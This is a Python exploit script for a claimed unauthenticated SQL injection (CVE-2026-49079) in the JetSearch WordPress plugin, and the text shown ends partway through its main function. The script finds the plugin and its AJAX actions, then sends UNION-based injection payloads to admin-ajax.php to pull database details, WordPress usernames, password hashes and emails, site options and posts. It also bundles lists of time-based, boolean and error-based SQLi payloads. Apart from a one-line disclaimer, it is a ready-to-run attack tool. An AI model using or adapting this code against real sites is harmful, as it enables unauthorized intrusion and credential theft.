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| #!/usr/bin/env python3
"""
CVE-2026-49079 JetSearch SQL Injection Exploit
CVSS: 7.5 (High)
Unauthenticated SQL injection in JetSearch plugin for WordPress versions
up to and including 3.5.17. The plugin fails to properly escape user-supplied
parameters in AJAX handlers, allowing attackers to extract sensitive database
information without authentication.
Legal Notice: Educational and authorized testing only.
"""
import requests
import re
import sys
import argparse
import time
import json
import urllib.parse
from urllib.parse import urljoin, quote
from bs4 import BeautifulSoup
class JetSearchSQLiExploit:
def __init__(self, target_url, verbose=False):
self.target_url = target_url.rstrip('/')
self.verbose = verbose
self.session = requests.Session()
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
})
self.plugin_detected = False
self.vulnerable_version = False
self.ajax_actions = []
def log(self, message, level="INFO"):
"""Log messages based on verbosity"""
if self.verbose or level in ["ERROR", "SUCCESS", "CRITICAL"]:
print(f"[{level}] {message}")
def detect_plugin(self):
"""Detect if JetSearch plugin is installed"""
self.log("Detecting JetSearch plugin...")
try:
# Check common plugin paths
plugin_paths = [
'/wp-content/plugins/jetsearch/',
'/wp-content/plugins/jet-search/',
'/wp-content/plugins/jetpack-search/',
'/wp-content/plugins/search-jetsearch/'
]
for path in plugin_paths:
url = urljoin(self.target_url, path + 'jetsearch.php')
resp = self.session.head(url, timeout=10)
if resp.status_code == 200:
self.log(f"Plugin detected at: {path}", "SUCCESS")
self.plugin_detected = True
return True
# Try to detect via readme.txt
for path in plugin_paths:
url = urljoin(self.target_url, path + 'readme.txt')
resp = self.session.get(url, timeout=10)
if resp.status_code == 200 and 'jetsearch' in resp.text.lower():
self.log(f"Plugin detected at: {path}", "SUCCESS")
self.plugin_detected = True
return True
self.log("Plugin not detected via direct paths", "ERROR")
return False
except Exception as e:
self.log(f"Error detecting plugin: {e}")
return False
def check_vulnerability(self):
"""Check if target is vulnerable"""
self.log("Checking vulnerability status...")
try:
# Try to access the plugin's main file
plugin_file = urljoin(self.target_url, '/wp-content/plugins/jetsearch/jetsearch.php')
resp = self.session.get(plugin_file, timeout=10)
if resp.status_code == 200:
# Check version
version_match = re.search(r'Version:\s*([0-9.]+)', resp.text)
if version_match:
version = version_match.group(1)
self.log(f"Plugin version: {version}", "INFO")
# Check if vulnerable (<=3.5.17)
version_parts = version.split('.')
if len(version_parts) >= 3:
try:
major = int(version_parts[0])
minor = int(version_parts[1])
patch = int(version_parts[2])
if major < 3 or (major == 3 and minor < 5) or (major == 3 and minor == 5 and patch <= 17):
self.log(f"Version {version} is VULNERABLE!", "CRITICAL")
self.vulnerable_version = True
return True
else:
self.log(f"Version {version} appears patched", "ERROR")
return False
except ValueError:
pass
self.log("Could not determine vulnerability status", "ERROR")
return False
except Exception as e:
self.log(f"Error checking vulnerability: {e}")
return False
def find_ajax_actions(self):
"""Find AJAX action names used by the plugin"""
self.log("Searching for AJAX actions...")
try:
# Get homepage to find AJAX actions
resp = self.session.get(self.target_url, timeout=10)
# Look for action patterns
action_patterns = [
r'action["\']?\s*[=:]\s*["\']([a-z_]*jet[a-z_]*search[a-z_]*)["\']',
r'jet_ajax_search',
r'jet_search',
r'jetsearch_ajax'
]
actions = []
for pattern in action_patterns:
matches = re.findall(pattern, resp.text, re.IGNORECASE)
actions.extend(matches)
if actions:
self.ajax_actions = list(set(actions))
self.log(f"Found {len(self.ajax_actions)} AJAX actions", "SUCCESS")
return self.ajax_actions
# Default actions to try
default_actions = [
'jet_ajax_search',
'jet_search_ajax',
'jetsearch_ajax',
'jetsearch_search',
'jet_search'
]
self.ajax_actions = default_actions
self.log(f"Using default AJAX actions", "INFO")
return default_actions
except Exception as e:
self.log(f"Error finding AJAX actions: {e}")
return []
def test_basic_injection(self, action):
"""Test if basic SQL injection is possible"""
self.log(f"Testing basic SQL injection with action: {action}...")
try:
ajax_url = urljoin(self.target_url, '/wp-admin/admin-ajax.php')
# Test payload
test_payload = "1' OR '1'='1"
data = {
'action': action,
'search_term': test_payload,
's': test_payload
}
resp = self.session.post(ajax_url, data=data, timeout=15)
self.log(f"Response Status: {resp.status_code}", "INFO")
if resp.status_code == 200:
self.log("Basic injection test successful!", "SUCCESS")
return True
else:
self.log("Basic injection test failed", "ERROR")
return False
except Exception as e:
self.log(f"Error testing basic injection: {e}", "ERROR")
return False
def extract_database_info(self, action):
"""Extract database information via UNION-based SQL injection"""
self.log("Attempting to extract database information...")
try:
ajax_url = urljoin(self.target_url, '/wp-admin/admin-ajax.php')
# Payload to extract database version
payload = "1' UNION SELECT @@version,user(),database(),4,5 -- "
data = {
'action': action,
'search_term': payload
}
resp = self.session.post(ajax_url, data=data, timeout=15)
if resp.status_code == 200:
self.log("Database info extraction successful!", "SUCCESS")
self.log(f"Response: {resp.text[:500]}", "INFO")
return resp.text
else:
self.log("Database info extraction failed", "ERROR")
return None
except Exception as e:
self.log(f"Error extracting database info: {e}", "ERROR")
return None
def extract_wordpress_users(self, action):
"""Extract WordPress user credentials"""
self.log("Attempting to extract WordPress users...")
try:
ajax_url = urljoin(self.target_url, '/wp-admin/admin-ajax.php')
# Payload to extract user credentials
payload = "1' UNION SELECT user_login,user_pass,user_email,display_name,ID FROM wp_users -- "
data = {
'action': action,
'search_term': payload
}
resp = self.session.post(ajax_url, data=data, timeout=15)
if resp.status_code == 200:
self.log("User extraction successful!", "SUCCESS")
self.log(f"Response: {resp.text[:500]}", "INFO")
return resp.text
else:
self.log("User extraction failed", "ERROR")
return None
except Exception as e:
self.log(f"Error extracting users: {e}", "ERROR")
return None
def extract_wordpress_options(self, action):
"""Extract WordPress options (site URL, admin email, etc.)"""
self.log("Attempting to extract WordPress options...")
try:
ajax_url = urljoin(self.target_url, '/wp-admin/admin-ajax.php')
# Payload to extract WordPress options
payload = "1' UNION SELECT option_name,option_value,3,4,5 FROM wp_options LIMIT 10 -- "
data = {
'action': action,
'search_term': payload
}
resp = self.session.post(ajax_url, data=data, timeout=15)
if resp.status_code == 200:
self.log("Options extraction successful!", "SUCCESS")
self.log(f"Response: {resp.text[:500]}", "INFO")
return resp.text
else:
self.log("Options extraction failed", "ERROR")
return None
except Exception as e:
self.log(f"Error extracting options: {e}", "ERROR")
return None
def extract_posts(self, action):
"""Extract WordPress posts and pages"""
self.log("Attempting to extract WordPress posts...")
try:
ajax_url = urljoin(self.target_url, '/wp-admin/admin-ajax.php')
# Payload to extract posts
payload = "1' UNION SELECT post_title,post_content,post_author,post_type,ID FROM wp_posts LIMIT 10 -- "
data = {
'action': action,
'search_term': payload
}
resp = self.session.post(ajax_url, data=data, timeout=15)
if resp.status_code == 200:
self.log("Posts extraction successful!", "SUCCESS")
self.log(f"Response: {resp.text[:500]}", "INFO")
return resp.text
else:
self.log("Posts extraction failed", "ERROR")
return None
except Exception as e:
self.log(f"Error extracting posts: {e}", "ERROR")
return None
def exploit(self):
"""Execute full exploit chain"""
print("\n" + "="*70)
print("CVE-2026-49079 JetSearch SQL Injection")
print("="*70 + "\n")
# Step 1: Detect plugin
if not self.detect_plugin():
self.log("Plugin not detected. Exploit may not be applicable.", "ERROR")
return False
# Step 2: Check vulnerability
if not self.check_vulnerability():
self.log("Target does not appear to be vulnerable", "ERROR")
return False
# Step 3: Find AJAX actions
actions = self.find_ajax_actions()
if not actions:
self.log("Could not find AJAX actions", "ERROR")
return False
# Step 4: Test basic injection
success = False
vulnerable_action = None
for action in actions:
if self.test_basic_injection(action):
success = True
vulnerable_action = action
break
if not success:
self.log("SQL injection test failed for all actions", "ERROR")
return False
# Step 5: Extract sensitive data
print("\n" + "="*70)
print("EXPLOITATION SUCCESSFUL")
print("="*70)
print(f"Target: {self.target_url}")
print(f"Plugin: JetSearch")
print(f"Vulnerable Action: {vulnerable_action}")
print(f"\nExtracting sensitive data...\n")
# Extract database info
db_info = self.extract_database_info(vulnerable_action)
# Extract users
users = self.extract_wordpress_users(vulnerable_action)
# Extract options
options = self.extract_wordpress_options(vulnerable_action)
# Extract posts
posts = self.extract_posts(vulnerable_action)
print("="*70)
print("EXPLOITATION COMPLETE")
print("="*70 + "\n")
return True
class SQLiPayloadGenerator:
"""Generate various SQL injection payloads"""
@staticmethod
def union_based_payloads():
"""Generate UNION-based SQL injection payloads"""
payloads = [
"1' UNION SELECT user_login,user_pass,user_email,display_name,ID FROM wp_users -- ",
"1' UNION SELECT option_name,option_value,3,4,5 FROM wp_options -- ",
"1' UNION SELECT post_title,post_content,post_author,post_type,ID FROM wp_posts -- ",
"1' UNION SELECT @@version,user(),database(),4,5 -- ",
"1' UNION SELECT table_name,2,3,4,5 FROM information_schema.tables -- ",
"1' UNION SELECT column_name,2,3,4,5 FROM information_schema.columns WHERE table_name='wp_users' -- ",
]
return payloads
@staticmethod
def time_based_payloads():
"""Generate time-based blind SQL injection payloads"""
payloads = [
"1' AND SLEEP(5) -- ",
"1' AND IF(1=1,SLEEP(5),0) -- ",
"1' AND (SELECT * FROM (SELECT(SLEEP(5)))a) -- ",
"1' AND BENCHMARK(10000000,MD5('test')) -- ",
]
return payloads
@staticmethod
def boolean_based_payloads():
"""Generate boolean-based blind SQL injection payloads"""
payloads = [
"1' AND '1'='1",
"1' AND '1'='2",
"1' OR '1'='1",
"1' AND 1=1 -- ",
"1' AND 1=2 -- ",
]
return payloads
@staticmethod
def error_based_payloads():
"""Generate error-based SQL injection payloads"""
payloads = [
"1' AND extractvalue(1,concat(0x7e,(SELECT user()))) -- ",
"1' AND updatexml(1,concat(0x7e,(SELECT user())),1) -- ",
"1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(0x7e,(SELECT user()),0x7e,FLOOR(RAND()*2))x FROM information_schema.tables GROUP BY x)a) -- ",
]
return payloads
class AjaxActionScanner:
"""Scan for AJAX actions"""
def __init__(self, target_url, session):
self.target_url = target_url.rstrip('/')
self.session = session
def scan_all_pages(self):
"""Scan all accessible pages for AJAX actions"""
actions = []
try:
# Get homepage
resp = self.session.get(self.target_url, timeout=10)
# Extract all action parameters
action_matches = re.findall(r'action["\']?\s*[=:]\s*["\']([a-z_]+)["\']', resp.text)
actions.extend(action_matches)
# Look for AJAX endpoints
ajax_matches = re.findall(r'wp-admin/admin-ajax\.php\?action=([a-z_]+)', resp.text)
actions.extend(ajax_matches)
except:
pass
return list(set(actions))
def test_action(self, action):
"""Test if an AJAX action is vulnerable to SQL injection"""
try:
ajax_url = urljoin(self.target_url, '/wp-admin/admin-ajax.php')
data = {
'action': action,
'search_term': "1' OR '1'='1",
's': "1' OR '1'='1"
}
resp = self.session.post(ajax_url, data=data, timeout=10)
return resp.status_code == 200
except:
return False
def main():
parser = argparse.ArgumentParser(
description='CVE-2026-49079 JetSearch SQL Injection Exploit'
)
parser.add_argument('target', help='Target URL (e.g., https://example.com)')
parser.add_argument('-v', '--verbose', action='store_true', help='Verbose output')
parser.add_argument('--detect', action='store_true', help='Detect plugin only')
parser.add_argument('--check', action='store_true', help='Check vulnerability only')
parser.add_argument('--find-actions', action='store_true', help='Find AJAX actions only')
parser.add_argument('--scan-actions', action='store_true', help='Scan and test all AJAX actions')
parser.add_argument('--payloads', action='store_true', help='Show available payloads')
parser.add_argument('--union', action='store_true', help='Use UNION-based payloads')
parser.add_argument('--time-based', action='store_true', help='Use time-based blind payloads')
parser.add_argument('--boolean-based', action='store_true', help='Use boolean-based blind payloads')
parser.add_argument('--error-based', action='store_true', help='Use error-based payloads')
args = parser.parse_args()
# Create exploit instance
exploit = JetSearchSQLiExploit(args.target, verbose=args.verbose)
# Detect only
if args.detect:
if exploit.detect_plugin():
print("[+] Plugin detected!")
else:
print("[-] Plugin not detected")
sys.exit(0)
|
